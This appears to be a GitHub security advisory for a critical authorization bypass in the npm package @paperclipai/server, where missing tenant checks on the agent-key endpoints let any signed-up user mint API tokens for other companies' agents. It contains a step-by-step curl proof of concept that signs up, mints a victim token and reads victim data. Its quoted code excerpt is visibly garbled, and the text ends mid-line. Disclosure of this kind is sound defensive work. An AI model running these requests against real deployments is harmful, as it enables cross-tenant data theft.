GitHub Advisoryadvisory · npm
GHSA-47wq-cj9q-wpmp Paperclip: Cross-tenant agent API token minting via missing assertCompanyAccess on /api/agents/:id/keys
CRITICAL
Official page ↗
- Ecosystem
- npm
- Packages
- @paperclipai/server
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-1220, CWE-285, CWE-639, CWE-862
- Reviewed
- 2026-04-16
Affected packages
• npm @paperclipai/server: < 2026.416.0 → fixed in 2026.416.0
Description
> Isolated paperclip instance running in authenticated mode (default config)
> on a clean Docker image matching commit b649bd4 (2026.411.0-canary.8, post
> the 2026.410.0 patch). This advisory was verified on an unmodified build.
Summary
`POST /api/agents/:id/keys`, `GET /api/agents/:id/keys`, and
`DELETE /api/agents/:id/keys/:keyId` (`server/src/routes/agents.ts`
lines 2050-2087) only call `assertBoard` to authorize the caller. They never
call `assertCompanyAccess` and never verify that the caller is a member of the
company that owns the target agent.
Any authenticated board user (including a freshly signed-up account with zero
company memberships and no `instance_admin` role) can mint a plaintext
`pcp_*` agent API token for any agent in any company on the instance. The
minted token is bound to the victim agent's `companyId` server-side, so
every downstream `assertCompanyAccess` check on that token authorizes
operations inside the victim tenant.
This is a pure authorization bypass on the core tenancy boundary. It is
distinct from GHSA-68qg-g8mg-6pr7 (the unauth import → RCE chain disclosed in
2026.410.0): that advisory fixed one handler, this report is a different
handler with the same class of mistake that the 2026.410.0 patch did not
cover.
Root Cause
`server/src/routes/agents.ts`, lines 2050-2087:
```ts
router.get("/agents/:id/keys", async (req, res) => {
assertBoard(req); // {
assertBoard(req); // {
assertBoard(req); // {
const existing = await getById(id); // victim agent
...
const token = createToken();
const keyHash = hashToken(token);
const created = await db
.insert(agentApiKeys)
.values({
agentId: id,
companyId: existing.companyId, // rows[0]);
return {
id: created.id,
name: created.name,
token, //
> Step 1-2: Mallory signs up via the default `/api/auth/sign-up/email` flow
> (no invite, no verification) and confirms via `GET /api/companies` that she
> is a member of zero companies. She has no tenant access through the normal
> authorization path.
```bash
Step 1: attacker signs up as an unprivileged board user
curl -s -X POST http://:3102/api/auth/sign-up/email \
-H 'Content-Type: application/json' \
-d '{"email":"[email protected]","password":"P@ssw0rd456","name":"mallory"}'
Save the `better-auth.session_token` cookie from Set-Cookie.
Step 2: confirm zero company membership
curl -s -H "Cookie: $MALLORY_SESSION" http://:3102/api/companies
-> []
```
> Step 3 — the vulnerability. Mallory POSTs to `/api/agents/:id/keys`
> targeting an agent in Victim Corp (a company she is NOT a member of). The
> server returns a plaintext `pcp_*` token tied to the victim's `companyId`.
> There is no authorization error. `assertBoard` passed because Mallory is a
> board user; `assertCompanyAccess` was never called.
```bash
Step 3: mint a plaintext token for a victim agent
VICTIM_AGENT=
curl -s -X POST \
-H "Cookie: $MALLORY_SESSION" \
-H "Origin: http://:3102" \
-H "Content-Type: application/json" \
-d '{"name":"pwnkit"}' \
http://:3102/api/agents/$VICTIM_AGENT/keys
-> 201 { "id":"...", "token":"pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25", ... }
```
> Step 4-5: Use the stolen token as a Bearer credential. `actorMiddleware`
> resolves it to `actor = { type: "agent", companyId: VICTIM }`, so every
> downstream `assertCompanyAccess` gate authorizes reads against Victim Corp.
> Mallory can now enumerate the victim's company metadata, issues, approvals,
> and agent configuration — none of which she had access to 30 seconds ago.
```bash
Step 4: use the stolen token to read victim company data
STOLEN=pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25
VICTIM_CO=
curl -s -H "Authorization: Bearer $STOLEN" \
http://:3102/api/companies/$VICTIM_CO
-> 200 { "id":"...", "name":"Victim Corp", ... }
curl -s -H "Authorization: Bearer $STOLEN" \
http://:3102/api/companies/$VICTIM_CO/issues
-> 200 [ ...every issue in the victim tenant... ]
curl -s -H "Authorization: Bearer $STOLEN" \
http://:3102/api/companies/$VICTIM_CO/approvals
-> 200 [ ...every approval in the victim tenant... ]
curl -s -H "Authorization: Bearer $STOLEN" \
http://:3102/api/agents/$VICTIM_AGENT
-> 200 { ...full agent config incl. adapter settings... }
```
Observed outputs (all verified on live instance at time of submission):
• `POST /api/agents/:id/keys` → 201 with plaintext `token` bound to
…